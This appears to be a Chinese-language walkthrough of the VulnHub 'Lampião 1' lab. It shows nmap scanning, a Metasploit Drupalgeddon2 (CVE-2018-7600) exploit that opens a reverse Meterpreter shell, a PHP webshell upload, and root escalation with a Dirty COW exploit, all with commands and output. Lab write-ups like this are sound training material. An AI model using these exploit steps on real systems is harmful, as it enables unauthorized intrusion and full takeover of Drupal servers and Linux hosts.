靶机渗透记录—Lampiao

靶机渗透记录—Lampiao

下载地址

https://www.vulnhub.com/entry/dc-1,249/

靶机描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Would you like to keep hacking in your own lab?

Try this brand new vulnerable machine! "Lampião 1".

Get root!

Level: Easy

翻译:

你想在自己的实验室里继续黑客攻击吗?


试试这个全新的易受攻击的机器!”Lampião 1”。


获得root权限


级别:简单

打开靶机

信息搜集

然后切换到攻击机 先去做信息搜集 扫描一下同网段内存活的主机

1
nmap -sP -n 192.168.191.0/24

扫到了一个192.168.191.133

探测一下

1
nmap -sS -sV -Pn -n  -A 192.168.191.133

探测到了22 80 端口 这次的靶机端口太少 不太科学

全端口再扫描一下

-sS -sV -Pn -n -A 192.168.191.133
1
nmap -sS -sV -Pn -n  -A  -p- 192.168.191.133

又出现了一个1989端口 也是个web服务

80端口 扫描了下目录什么东西也没有

先去1898端口看看

又是一个 Drupal cms 的网站

访问 /CHANGELOG.txt 可以查看版本

Msf Getshell

果断开启msf

search drupal

用影响到7.X的CVE-2018-7600

1
2
3
4
5
6
7
8
9
10
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.191.133
rhosts => 192.168.191.133
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
rport => 1898
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.191.128:4444
[*] Sending stage (38288 bytes) to 192.168.191.133
[*] Meterpreter session 1 opened (192.168.191.128:4444 -> 192.168.191.133:41308) at 2020-04-24 10:26:58 +0800

返回了session

在msf的shell里获取一个交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

依然是我的习惯 上一个大马

1
2
3
4
5
6
7
meterpreter > pwd
/var/www/html
meterpreter > upload /home/x.php /var/www/html/x.php
[*] uploading : /home/x.php -> /var/www/html/x.php
[*] Uploaded -1.00 B of 85.50 KiB (-0.0%): /home/x.php -> /var/www/html/x.php
[*] uploaded : /home/x.php -> /var/www/html/x.php
meterpreter >

脏牛提权

然后直接在大马里上传攻击探测工具

一开始上传到了网站根目录 也就是/var/www/html/下面 在赋予执行权限的时候操作失败 可能是权限原因

于是又上传了一个到/tmp目录下 赋予执行权限然后执行

攻击建议里有脏牛 那就果断先用脏牛试一下

poc下载:https://github.com/FireFart/dirtycow

下载exp 然后编译一下

1
gcc -pthread dirty.c -o dirty -lcrypt

然后把编译完的exp上传到靶机/tmp目录下

然后赋予执行权限chmod +x dirty

然后执行 ./dirty + 密码

报错了 百度之后知道了是编译环境不同引起的:https://blog.51cto.com/1381479/888198

于是就直接把c文件上传到靶机 在靶机里编译

编译完成执行 但是提权不成功

所以打算换一个exp

searchsploit dirty

用这刚才用c文件编译之后提权没成功

这次用这个cpp文件

Linux Kernel 2.6.22 < 3.9 - 'Dirty COW | exploits/linux/local/40847.cpp

把源文件拷贝到home下

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home

然后在msf里 把cpp文件上传到靶机

upload /home/40847.cpp /tmp/40847.cpp

查看如何使用exp

根据这个exp的说明:http://www.vfocus.net/art/20161130/13161.html

在靶机里编译

1
2
3
4
5
6
7
8
9
10
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp 40847.cpp -lutil


参数解释:
1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
4. -std=c++11就是用按C++2011标准来编译的
5. -pthread 在Linux中要用到多线程时,需要链接pthread库
6. -o exp gcc生成的目标文件,名字为exp

执行exp文件 ./exp -s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@lampiao:/tmp$ ./exp -s
./exp -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
cp /tmp/.ssh_bak /etc/passwd
rm /tmp/.ssh_bak
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# whoami
whoami
root
root@lampiao:~# ls /root
ls /root
flag.txt
root@lampiao:~# cat /root/flag.txt
cat /root/flag.txt
9740616875908d91ddcdaa8aea3af366

总结

1.由于环境的不同,不同的exp可能产生不同的情况

2.如果权限允许,最好在靶机里完成编译工作

3.不会用exp就百度